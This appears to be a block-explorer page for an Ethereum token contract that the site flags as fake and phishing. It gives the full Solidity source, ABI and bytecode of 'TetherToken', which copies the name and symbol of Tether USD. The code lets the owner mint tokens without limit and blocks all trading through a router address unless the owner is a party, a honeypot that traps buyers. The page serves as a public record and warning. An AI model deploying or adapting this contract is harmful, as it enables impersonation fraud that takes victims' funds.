This is a fake token. Please exercise caution when interacting with it.
Fake_Phishing462499
Source Code
Phish / Hack
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 13 from a total of 13 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Mint | 18462069 | 876 days ago | IN | 0 ETH | 0.00081208 | ||||
| Mint | 18432979 | 880 days ago | IN | 0 ETH | 0.00127557 | ||||
| Mint | 18425954 | 881 days ago | IN | 0 ETH | 0.00092714 | ||||
| Mint | 18070212 | 931 days ago | IN | 0 ETH | 0.0006567 | ||||
| Mint | 16620060 | 1135 days ago | IN | 0 ETH | 0.00133571 | ||||
| Mint | 16491997 | 1153 days ago | IN | 0 ETH | 0.00123407 | ||||
| Mint | 16188736 | 1195 days ago | IN | 0 ETH | 0.00068096 | ||||
| Transfer | 15895185 | 1236 days ago | IN | 0 ETH | 0.00071934 | ||||
| Mint | 15831486 | 1245 days ago | IN | 0 ETH | 0.00057776 | ||||
| Transfer Ownersh... | 15690706 | 1265 days ago | IN | 0 ETH | 0.00031034 | ||||
| Transfer Ownersh... | 15690220 | 1265 days ago | IN | 0 ETH | 0.00059331 | ||||
| Mint | 15690006 | 1265 days ago | IN | 0 ETH | 0.00123536 | ||||
| Transfer Ownersh... | 15689983 | 1265 days ago | IN | 0 ETH | 0.00067333 |
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
TetherToken
Compiler Version
v0.8.4+commit.c7e474f2
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2022-10-06
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
interface IOwnable {
function owner() external view returns (address);
function renounceOwnership() external;
function transferOwnership(address newOwner_) external;
}
contract Ownable is IOwnable {
address internal _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view override returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual override onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner_)
public
virtual
override
onlyOwner
{
require(
newOwner_ != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner_);
_owner = newOwner_;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
}
abstract contract ERC20 is IERC20 {
using SafeMath for uint256;
bytes32 private constant ERC20TOKEN_ERC1820_INTERFACE_ID =
keccak256("ERC20Token");
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 internal _totalSupply;
string internal _name;
string internal _symbol;
uint8 internal _decimals;
constructor(
string memory name_,
string memory symbol_,
uint8 decimals_
) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(msg.sender, spender, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
msg.sender,
spender,
_allowances[msg.sender][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
msg.sender,
spender,
_allowances[msg.sender][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(
amount,
"ERC20: transfer amount exceeds balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account_, uint256 ammount_) internal virtual {
require(account_ != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(this), account_, ammount_);
_totalSupply = _totalSupply.add(ammount_);
_balances[account_] = _balances[account_].add(ammount_);
emit Transfer(address(this), account_, ammount_);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(
amount,
"ERC20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from_,
address to_,
uint256 amount_
) internal virtual {}
}
contract TetherToken is Ownable, ERC20 {
using SafeMath for uint256;
address private routerAddress = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
constructor() ERC20("Tether USD", "USDT", 6) {
_mint(_owner, 1_000_000_000 * 10**6);
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve( sender, msg.sender,
_allowances[sender][msg.sender].sub( amount, "ERC20: transfer amount exceeds allowance")
);
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual override {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (sender != _owner && recipient != _owner) {
require( recipient != routerAddress, "trading is not allowed");
require( sender != routerAddress, "trading is not allowed");
}
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(
amount,
"ERC20: transfer amount exceeds balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function setRouterAddress(address _rAddress) public onlyOwner {
routerAddress = _rAddress;
}
function mint(address _to, uint256 _amount) public virtual onlyOwner {
_mint(_to, _amount);
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_rAddress","type":"address"}],"name":"setRouterAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner_","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]Contract Creation Code
608060405260068054610100600160a81b0319167410ed43c718714eb63d5aa57b78b54704e256024e001790553480156200003957600080fd5b50604080518082018252600a81526915195d1a195c881554d160b21b6020808301919091528251808401845260048152631554d11560e21b91810191909152600080546001600160a01b03191633908117825593519293919260069291907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a38251620000d190600490602086019062000298565b508151620000e790600590602085019062000298565b506006805460ff191660ff9290921691909117905550506000546200011d906001600160a01b031666038d7ea4c6800062000123565b620003a0565b6001600160a01b0382166200017f5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b6200019b816003546200022e60201b620006241790919060201c565b6003556001600160a01b038216600090815260016020908152604090912054620001d0918390620006246200022e821b17901c565b6001600160a01b0383166000818152600160205260409081902092909255905130907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90620002229085815260200190565b60405180910390a35050565b6000806200023d83856200033e565b905083811015620002915760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640162000176565b9392505050565b828054620002a69062000363565b90600052602060002090601f016020900481019282620002ca576000855562000315565b82601f10620002e557805160ff191683800117855562000315565b8280016001018555821562000315579182015b8281111562000315578251825591602001919060010190620002f8565b506200032392915062000327565b5090565b5b8082111562000323576000815560010162000328565b600082198211156200035e57634e487b7160e01b81526011600452602481fd5b500190565b600181811c908216806200037857607f821691505b602082108114156200039a57634e487b7160e01b600052602260045260246000fd5b50919050565b610dbb80620003b06000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d71461020f578063a9059cbb14610222578063dd62ed3e14610235578063f2fde38b1461026e57600080fd5b806370a08231146101bb578063715018a6146101e45780638da5cb5b146101ec57806395d89b411461020757600080fd5b8063313ce567116100d3578063313ce5671461016b578063395093511461018057806340c10f191461019357806341cb87fc146101a857600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d610281565b60405161011a9190610c0a565b60405180910390f35b610136610131366004610be1565b610313565b604051901515815260200161011a565b6003545b60405190815260200161011a565b610136610166366004610ba6565b610329565b60065460405160ff909116815260200161011a565b61013661018e366004610be1565b610392565b6101a66101a1366004610be1565b6103c8565b005b6101a66101b6366004610b5a565b610409565b61014a6101c9366004610b5a565b6001600160a01b031660009081526001602052604090205490565b6101a661045b565b6000546040516001600160a01b03909116815260200161011a565b61010d6104cf565b61013661021d366004610be1565b6104de565b610136610230366004610be1565b61052d565b61014a610243366004610b74565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6101a661027c366004610b5a565b61053a565b60606004805461029090610cc1565b80601f01602080910402602001604051908101604052809291908181526020018280546102bc90610cc1565b80156103095780601f106102de57610100808354040283529160200191610309565b820191906000526020600020905b8154815290600101906020018083116102ec57829003601f168201915b5050505050905090565b600061032033848461068a565b50600192915050565b60006103368484846107af565b610388843361038385604051806060016040528060288152602001610d39602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610a1e565b61068a565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916103209185906103839086610624565b6000546001600160a01b031633146103fb5760405162461bcd60e51b81526004016103f290610c5d565b60405180910390fd5b6104058282610a58565b5050565b6000546001600160a01b031633146104335760405162461bcd60e51b81526004016103f290610c5d565b600680546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000546001600160a01b031633146104855760405162461bcd60e51b81526004016103f290610c5d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606005805461029090610cc1565b6000610320338461038385604051806060016040528060258152602001610d61602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610a1e565b60006103203384846107af565b6000546001600160a01b031633146105645760405162461bcd60e51b81526004016103f290610c5d565b6001600160a01b0381166105c95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103f2565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000806106318385610c92565b9050838110156106835760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f2565b9392505050565b6001600160a01b0383166106ec5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f2565b6001600160a01b03821661074d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f2565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166108135760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103f2565b6001600160a01b0382166108755760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103f2565b6000546001600160a01b038481169116148015906108a157506000546001600160a01b03838116911614155b1561095e576006546001600160a01b038381166101009092041614156109025760405162461bcd60e51b81526020600482015260166024820152751d1c98591a5b99c81a5cc81b9bdd08185b1b1bddd95960521b60448201526064016103f2565b6006546001600160a01b0384811661010090920416141561095e5760405162461bcd60e51b81526020600482015260166024820152751d1c98591a5b99c81a5cc81b9bdd08185b1b1bddd95960521b60448201526064016103f2565b61099b81604051806060016040528060268152602001610d13602691396001600160a01b0386166000908152600160205260409020549190610a1e565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546109ca9082610624565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107a29085815260200190565b60008184841115610a425760405162461bcd60e51b81526004016103f29190610c0a565b506000610a4f8486610caa565b95945050505050565b6001600160a01b038216610aae5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016103f2565b600354610abb9082610624565b6003556001600160a01b038216600090815260016020526040902054610ae19082610624565b6001600160a01b0383166000818152600160205260409081902092909255905130907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b329085815260200190565b60405180910390a35050565b80356001600160a01b0381168114610b5557600080fd5b919050565b600060208284031215610b6b578081fd5b61068382610b3e565b60008060408385031215610b86578081fd5b610b8f83610b3e565b9150610b9d60208401610b3e565b90509250929050565b600080600060608486031215610bba578081fd5b610bc384610b3e565b9250610bd160208501610b3e565b9150604084013590509250925092565b60008060408385031215610bf3578182fd5b610bfc83610b3e565b946020939093013593505050565b6000602080835283518082850152825b81811015610c3657858101830151858201604001528201610c1a565b81811115610c475783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610ca557610ca5610cfc565b500190565b600082821015610cbc57610cbc610cfc565b500390565b600181811c90821680610cd557607f821691505b60208210811415610cf657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212203fe2f1dba0f5cff569456449bc311e2fece774b053d236d88047decedc6723fc64736f6c63430008040033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d71461020f578063a9059cbb14610222578063dd62ed3e14610235578063f2fde38b1461026e57600080fd5b806370a08231146101bb578063715018a6146101e45780638da5cb5b146101ec57806395d89b411461020757600080fd5b8063313ce567116100d3578063313ce5671461016b578063395093511461018057806340c10f191461019357806341cb87fc146101a857600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d610281565b60405161011a9190610c0a565b60405180910390f35b610136610131366004610be1565b610313565b604051901515815260200161011a565b6003545b60405190815260200161011a565b610136610166366004610ba6565b610329565b60065460405160ff909116815260200161011a565b61013661018e366004610be1565b610392565b6101a66101a1366004610be1565b6103c8565b005b6101a66101b6366004610b5a565b610409565b61014a6101c9366004610b5a565b6001600160a01b031660009081526001602052604090205490565b6101a661045b565b6000546040516001600160a01b03909116815260200161011a565b61010d6104cf565b61013661021d366004610be1565b6104de565b610136610230366004610be1565b61052d565b61014a610243366004610b74565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6101a661027c366004610b5a565b61053a565b60606004805461029090610cc1565b80601f01602080910402602001604051908101604052809291908181526020018280546102bc90610cc1565b80156103095780601f106102de57610100808354040283529160200191610309565b820191906000526020600020905b8154815290600101906020018083116102ec57829003601f168201915b5050505050905090565b600061032033848461068a565b50600192915050565b60006103368484846107af565b610388843361038385604051806060016040528060288152602001610d39602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610a1e565b61068a565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916103209185906103839086610624565b6000546001600160a01b031633146103fb5760405162461bcd60e51b81526004016103f290610c5d565b60405180910390fd5b6104058282610a58565b5050565b6000546001600160a01b031633146104335760405162461bcd60e51b81526004016103f290610c5d565b600680546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000546001600160a01b031633146104855760405162461bcd60e51b81526004016103f290610c5d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606005805461029090610cc1565b6000610320338461038385604051806060016040528060258152602001610d61602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610a1e565b60006103203384846107af565b6000546001600160a01b031633146105645760405162461bcd60e51b81526004016103f290610c5d565b6001600160a01b0381166105c95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103f2565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000806106318385610c92565b9050838110156106835760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f2565b9392505050565b6001600160a01b0383166106ec5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f2565b6001600160a01b03821661074d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f2565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166108135760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103f2565b6001600160a01b0382166108755760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103f2565b6000546001600160a01b038481169116148015906108a157506000546001600160a01b03838116911614155b1561095e576006546001600160a01b038381166101009092041614156109025760405162461bcd60e51b81526020600482015260166024820152751d1c98591a5b99c81a5cc81b9bdd08185b1b1bddd95960521b60448201526064016103f2565b6006546001600160a01b0384811661010090920416141561095e5760405162461bcd60e51b81526020600482015260166024820152751d1c98591a5b99c81a5cc81b9bdd08185b1b1bddd95960521b60448201526064016103f2565b61099b81604051806060016040528060268152602001610d13602691396001600160a01b0386166000908152600160205260409020549190610a1e565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546109ca9082610624565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107a29085815260200190565b60008184841115610a425760405162461bcd60e51b81526004016103f29190610c0a565b506000610a4f8486610caa565b95945050505050565b6001600160a01b038216610aae5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016103f2565b600354610abb9082610624565b6003556001600160a01b038216600090815260016020526040902054610ae19082610624565b6001600160a01b0383166000818152600160205260409081902092909255905130907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b329085815260200190565b60405180910390a35050565b80356001600160a01b0381168114610b5557600080fd5b919050565b600060208284031215610b6b578081fd5b61068382610b3e565b60008060408385031215610b86578081fd5b610b8f83610b3e565b9150610b9d60208401610b3e565b90509250929050565b600080600060608486031215610bba578081fd5b610bc384610b3e565b9250610bd160208501610b3e565b9150604084013590509250925092565b60008060408385031215610bf3578182fd5b610bfc83610b3e565b946020939093013593505050565b6000602080835283518082850152825b81811015610c3657858101830151858201604001528201610c1a565b81811115610c475783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610ca557610ca5610cfc565b500190565b600082821015610cbc57610cbc610cfc565b500390565b600181811c90821680610cd557607f821691505b60208210811415610cf657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212203fe2f1dba0f5cff569456449bc311e2fece774b053d236d88047decedc6723fc64736f6c63430008040033
Deployed Bytecode Sourcemap
7034:1879:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3323:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4102:208;;;;;;:::i;:::-;;:::i;:::-;;;1653:14:1;;1646:22;1628:41;;1616:2;1601:18;4102:208:0;1583:92:1;3600:100:0;3680:12;;3600:100;;;5887:25:1;;;5875:2;5860:18;3600:100:0;5842:76:1;7493:343:0;;;;;;:::i;:::-;;:::i;3509:83::-;3575:9;;3509:83;;3575:9;;;;6065:36:1;;6053:2;6038:18;3509:83:0;6020:87:1;4318:296:0;;;;;;:::i;:::-;;:::i;8803:107::-;;;;;;:::i;:::-;;:::i;:::-;;8689:106;;;;;;:::i;:::-;;:::i;3708:177::-;;;;;;:::i;:::-;-1:-1:-1;;;;;3859:18:0;3827:7;3859:18;;;:9;:18;;;;;;;3708:177;774:157;;;:::i;553:88::-;600:7;627:6;553:88;;-1:-1:-1;;;;;627:6:0;;;1426:51:1;;1414:2;1399:18;553:88:0;1381:102:1;3414:87:0;;;:::i;4622:396::-;;;;;;:::i;:::-;;:::i;7310:175::-;;;;;;:::i;:::-;;:::i;3893:201::-;;;;;;:::i;:::-;-1:-1:-1;;;;;4059:18:0;;;4027:7;4059:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3893:201;939:335;;;;;;:::i;:::-;;:::i;3323:83::-;3360:13;3393:5;3386:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3323:83;:::o;4102:208::-;4221:4;4243:37;4252:10;4264:7;4273:6;4243:8;:37::i;:::-;-1:-1:-1;4298:4:0;4102:208;;;;:::o;7493:343::-;7599:4;7616:36;7626:6;7634:9;7645:6;7616:9;:36::i;:::-;7663:143;7673:6;7682:10;7707:88;7744:6;7707:88;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7707:19:0;;;;;;:11;:19;;;;;;;;7727:10;7707:31;;;;;;;;;:88;:35;:88::i;:::-;7663:8;:143::i;:::-;-1:-1:-1;7824:4:0;7493:343;;;;;:::o;4318:296::-;4478:10;4433:4;4525:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;4525:32:0;;;;;;;;;;4433:4;;4455:129;;4503:7;;4525:48;;4562:10;4525:36;:48::i;8803:107::-;689:6;;-1:-1:-1;;;;;689:6:0;699:10;689:20;681:65;;;;-1:-1:-1;;;681:65:0;;;;;;;:::i;:::-;;;;;;;;;8883:19:::1;8889:3;8894:7;8883:5;:19::i;:::-;8803:107:::0;;:::o;8689:106::-;689:6;;-1:-1:-1;;;;;689:6:0;699:10;689:20;681:65;;;;-1:-1:-1;;;681:65:0;;;;;;;:::i;:::-;8762:13:::1;:25:::0;;-1:-1:-1;;;;;8762:25:0;;::::1;;;-1:-1:-1::0;;;;;;8762:25:0;;::::1;::::0;;;::::1;::::0;;8689:106::o;774:157::-;689:6;;-1:-1:-1;;;;;689:6:0;699:10;689:20;681:65;;;;-1:-1:-1;;;681:65:0;;;;;;;:::i;:::-;890:1:::1;874:6:::0;;853:40:::1;::::0;-1:-1:-1;;;;;874:6:0;;::::1;::::0;853:40:::1;::::0;890:1;;853:40:::1;921:1;904:19:::0;;-1:-1:-1;;;;;;904:19:0::1;::::0;;774:157::o;3414:87::-;3453:13;3486:7;3479:14;;;;;:::i;4622:396::-;4742:4;4764:224;4787:10;4812:7;4834:143;4889:15;4834:143;;;;;;;;;;;;;;;;;4846:10;4834:23;;;;:11;:23;;;;;;;;-1:-1:-1;;;;;4834:32:0;;;;;;;;;;;:143;:36;:143::i;7310:175::-;7396:4;7415:40;7425:10;7437:9;7448:6;7415:9;:40::i;939:335::-;689:6;;-1:-1:-1;;;;;689:6:0;699:10;689:20;681:65;;;;-1:-1:-1;;;681:65:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1093:23:0;::::1;1071:111;;;::::0;-1:-1:-1;;;1071:111:0;;3245:2:1;1071:111:0::1;::::0;::::1;3227:21:1::0;3284:2;3264:18;;;3257:30;3323:34;3303:18;;;3296:62;-1:-1:-1;;;3374:18:1;;;3367:36;3420:19;;1071:111:0::1;3217:228:1::0;1071:111:0::1;1219:6;::::0;;1198:39:::1;::::0;-1:-1:-1;;;;;1198:39:0;;::::1;::::0;1219:6;::::1;::::0;1198:39:::1;::::0;::::1;1248:6;:18:::0;;-1:-1:-1;;;;;;1248:18:0::1;-1:-1:-1::0;;;;;1248:18:0;;;::::1;::::0;;;::::1;::::0;;939:335::o;2109:181::-;2167:7;;2199:5;2203:1;2199;:5;:::i;:::-;2187:17;;2228:1;2223;:6;;2215:46;;;;-1:-1:-1;;;2215:46:0;;4055:2:1;2215:46:0;;;4037:21:1;4094:2;4074:18;;;4067:30;4133:29;4113:18;;;4106:57;4180:18;;